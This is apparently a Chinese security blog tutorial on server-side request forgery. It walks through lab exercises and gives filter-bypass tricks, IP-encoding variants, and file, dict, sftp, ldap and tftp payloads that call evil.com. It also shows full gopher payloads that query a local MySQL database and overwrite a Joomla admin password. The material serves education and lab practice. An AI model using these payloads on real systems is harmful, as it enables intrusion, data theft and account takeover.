SSRF防护绕过思路与Gopher利用浅析

文章前言

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞,产生的原因是由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制,常见的一个场景就是通过用户输入的URL来获取图片,此功能如果被恶意使用就可以用存在缺陷的Web应用作为代理攻击远程和本地的服务器,本篇文章我能主要对SSRF的攻击案例、防护绕过以及Gopher的实践利用进行介绍

业务场景

SSRF漏洞在下面几种web应用场景中较为常见,在日常安全测试评估时可以多留意一下:

  • XXE漏洞点
  • 其他加载URL的功能
  • 第三方集成链接配置
  • JDBC数据库测试链接服务
  • 图片/文章收藏:通过URL获取目标的title等信息
  • 图片加载/下载:通过URL加载网络图片(头像上传等)
  • 转码服务:适配手机屏幕大小并通过URL地址进行图片转码
  • 分享功能:通过URL地址分享网页内容,通过URL获取目标页标签等内容

攻防场景

攻击服务器自身

在这里我们以通过SSRF实现权限绕过的漏洞为例进行演示说明,在购物应用程序中对用户角色有普通用户和管理用户之分,管理用户有用户管控面板的权限可以对用户进行删除操作,当我们直接添加"/admin"访问时,此时会被直接拦截,而在我们点击WEB应用功能点的时候发现stockApi参数为URL路径,随后我们直接更改其URL路径并将其指向本地,同时在其后添加/admin访问路径进行访问,此时直接访问到了管理用户才可以查看的页面并从中获取到了接口:

随后在测试中发现接口并没有做严格的权限校验导致普通用户可以直接调用接口进行删除操作,这里我们直接调用接口对Carlos用户账户进行了移除操作:

攻击后端其他系统

服务器端请求伪造中经常出现的另一种信任关系是应用服务器能够与用户不能直接到达的其他后端系统进行交互,这些系统通常具有不可路由的私有IP地址,由于后端系统通常受到网络拓扑的保护因此它们通常具有较弱的安全性,在许多情况下内部后端系统包含敏感功能,能够与系统交互的任何人都可以不经过身份验证就访问这些功能,如果在上面的实例中我们不晓得后端的服务器IP地址是多少,但是通过其他途径得知管理路径为/admin,那么我们可以进行如下尝试攻击:
首先我们将请求数据包发送到intruder功能模块并设置IP地址为变量:

随后设置载荷


随后探测到后端存活的Web服务并获取到敏感接口

随后我们可以通过直接调用对应的接口来实现账户的删除操作,达到和上面同样的目的:

黑名单过滤绕过

在渗透测试过程中一些应用程序会阻止包含主机名(例如:127.0.0.1和localhost)或敏感URL(例如:上面的/admin)的输入,在这种情况下我们可以使用各种技术绕过过滤器

  • 使用可以替代127.0.0.1的IP表示,例如:2130706433、01770000001或127.1
  • 使用注册的域名并将其解析到127.0.0.1,例如:http://spoofed.burpcollaborator.net
  • 使用URL编码或者通过大小写混淆的方式绕过被组织的字符串
  • 使用用户自己可以控制的URL并将其重定向到目标URL
  • 使用使用不同的重定向代码和不同的协议,例如:在重定向期间从http:切换到https:协议

我们紧接着上面的环境进行安全测试,不过这里我们在对stockApi参数进行fuzzing的时候发现将stockApi参数地址更改为http://127.0.0.1 会被拦截


随后将127.0.0.1更改为其等价的127.1并进行尝试,可以看到成功获取到响应


紧接着我们去添加一个/admin路径对用户进行删除操作,但是发现更改URL为http://127.1/admin 再次被拦截,由此可见这里不仅对本地地址进行了黑名单处理,而且还对特殊的敏感路径进行了过来处理


经过一段时间的思考我们发现可以使用URL编码的方式来对敏感路径进行编码处理,这里采用双重URL编码,大家可以想一下为啥是双重URL编码:

随后我们照常调用接口删除用户

白名单过滤绕过

在Web开发中部分应用程序只允许与白名单匹配的值,例如:以白名单开头或包含白名单的输入,在这种情况下您可以利用URL解析中的不一致性来规避过滤器,例如:我们可以使用@字符在主机名之前的URL中嵌入凭据,例如:https://expected-host:fakepassword@evil-host , 同时也可以使用#字符来表示URL分段,例如:https://evil-host#expected-host ,同时我们也可以对字符进行URL编码以混淆URL解析代码,如果实现过滤器的代码处理URL编码的字符的方式不同于执行后端HTTP请求的代码,也可以尝试双重编码字符,一些服务器递归地对它们接收到的输入进行URL解码,这可能导致进一步的差异,下面我们继续以上面的接口为例进行演示说明,不过这里的过滤策略有变更,成为了白名单,具体如下:
首先我们将stockApi更改为http://127.0.0.1/ ,此时应用程序会解析URL,提取主机名并根据白名单进行验证

随后我们将URL更改为http://username@stock.weliketoshop.net/ 后重新请求,可以看到请求被接受,表明URL解析器支持嵌入的凭证

随后在用户名后添加一个#并观察URL,发现请求被拒绝

紧接着我们将#双URL编码为%2523并观察极其可疑的"Internal Server Error”响应,这表明服务器可能试图连接到"username"


随后将URL更改为如下来访问admin路径

下面就变得简单多了,我们直接拼接URL实现:


随后调用接口删除用户carlos

重定向绕过检查

有时候通过利用开放重定向漏洞可以规避任何类型的基于过滤器的防御,在前面的SSRF示例中假设用户提交的URL经过严格验证以防止恶意利用SSRF行为,但是允许其URL的应用程序包含一个开放重定向漏洞,如果用于后端HTTP请求的API支持重定向,那么您可以构造一个满足过滤器的URL并构造一个到所需后端目标的重定向请求,例如:应用程序包含一个开放重定向漏洞,其中以下URL:/product/nextProduct?currentProductId=6&path=http://evil-user.net , 我们可以将其重定向返回到:http://evil-user.net , 下面我们继续以上面的例子为例进行演示:
首先尝试篡改stockApi参数,观察到无法让服务器直接向不同的主机发出请求

通过单击"next product"按钮发现path参数被放入重定向响应的Location头中,导致了一个开放的重定向

随后创建一个利用开放重定向漏洞的URL,重定向到管理界面并将其输入检查器上的stockApi参数

构造一下删除用户的URL请求

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

技巧扩展

利用[::]

http://[::]:80/  >>>  http://127.0.0.1

利用@

http://example.com@127.0.0.1

利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用DNS解析

在域名上设置A记录,指向127.0.01

利用进制转换

A、十进制转换示例
使用在线工具转换:https://tool.520101.com/wangluo/jinzhizhuanhuan/

直接访问:http://2130706433

B、八进制转换示例:
在线转换工具:https://www.xuhuhu.com/ip-to-octal-converter.html

在访问的时候加0表示使用八进制(可以是一个0也可以是多个0,跟XSS中多加几个0来绕过过滤一样

http://0177.0000.0000.0001


C、十六进制转换
使用在线工具转换:https://tool.520101.com/wangluo/jinzhizhuanhuan/

在访问的时候加0x

http://0x7f000001

利用特殊地址

http://0/

利用伪协议类

file协议
file:// 协议用来从文件系统获取文件

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

dict协议
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0

sftp协议
Sftp代表SSH文件传输协议或安全文件传输协议,它是SSH的内含协议,在安全连接上与SSH类似

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2

ldap协议
LDAP代表轻量级目录访问协议,它是一种通过IP网络管理和访问分布式目录信息服务的应用协议

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp协议
tftp:// - 简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lnvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3

Gopher利用

协议介绍

Gopher协议是一种早期的互联网协议,于1991年诞生,它的设计目标是提供一种简单、易用的方式来浏览和检索互联网上的文档,Gopher协议在Web出现之前很流行并且在一段时间内是互联网上最主要的信息浏览方式之一,Gopher协议的特点是其简洁性和层次结构,它使用类似于文件系统的层次结构来组织文档和资源,每个Gopher服务器都可以提供一个层次结构的目录,其中包含文档、文件和其他资源,用户可以使用Gopher客户端连接到服务器并通过浏览目录来查找和选择感兴趣的内容,目录中的每个项都可以是一个文档、一个文件、一个子目录或者一个特定的Gopher服务,随着Web的迅速发展,HTTP协议取代了Gopher协议成为互联网上主流的协议,因为它提供了更丰富的功能和更广泛的应用支持,Gopher协议逐渐衰落,但仍有一些人继续使用它来保护和维护早期互联网文化,此外一些Gopher服务器仍然存在,供人们回顾和体验互联网的早期阶段,同时Gopher协议也可以用于SSRF中实施攻击操作

协议利用

这里我们以Nagini靶机中的SSRF为例对Gopher协议的利用进行演示:

首先我们在打靶的过程中发现存在一处SSRF风险,可以使用伪协议进行文件的读取操作:

在之前的打靶过程中我们发现Joomla是可以管理数据库的,只是比较奇怪的是nmap并没有扫描出来3306端口,也许可能是靶机对其访问IP做了防护,导致只能以127.0.0.1连接,随后我们结合Gopher协议对本地的MySQL数据库发起攻击测试(之前我们已经有了mysql的连接账户和密码),在此之前我们要用一下Gopherus工具,生成用于攻击MySQL的攻击载荷,这里我们的数据库名称为goblin,我们要执行的命令是使用joomla数据库并查看表名信息

Gopherus --exploit mysql


随后测试载荷:

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01


随后查看源代码发现joomla_users这个表名

随后我们用同样方法构建payload其中mysql的查询语句为:

use joomla;select * from joomla_users;

访问下面的连接

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

通过查看源代码以及结合def(用于定义表的列)定义每个列的含义和获取的查询数据可以得到这样一个数据:

  • 用户:site_admin
  • 邮箱:site_admin@nagini.hogwarts
  • 密码:$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

如果我们直接破解这个密文不仅时间长,而且还有可能破不出来,既然通过gopher可以直接操作数据库,那么我们便可以直接覆盖这个site_admin密码,由于mysql支持md5加密,所以我们先生成一个md5的加密密码

echo -n "123456" | md5sum


随后我们直接构建如下payload

use joomla; update joomla_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='site_admin';


从上面的回显结果可以看到这里成功更新了一条记录,说明我们的密码已经成功更改,随后我们就可以使用site_admin/123456直接登录Joomla后台了


紧接着我们就可以通过Joomla的后台模板功能去getshell,这里就不做展开了,不过从上面的这个过程中大家可以看到我们构造了自己的SQL语句并通过Gopher协议进行了查询和数据的变更操作,这对于file、dict等协议是难以望其项背的~

文末小结

本篇文章我们主要对服务器端请求伪造的场景案例进行了介绍,同时通过案例对服务器端盖请求伪造的防护进行了绕过测试,并对绕过的方法进行了简易的归纳整理,最后我们通过一则靶场介绍了Gopher协议的强大之处和利用方法,在这里我们也预留一个面试中经常会问道的小问题——Gopher协议构造载荷时载荷的格式是怎么样子的?载荷经过了几次URL编码?为什么要经过几次编码处理?供大家思考

  • 29
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值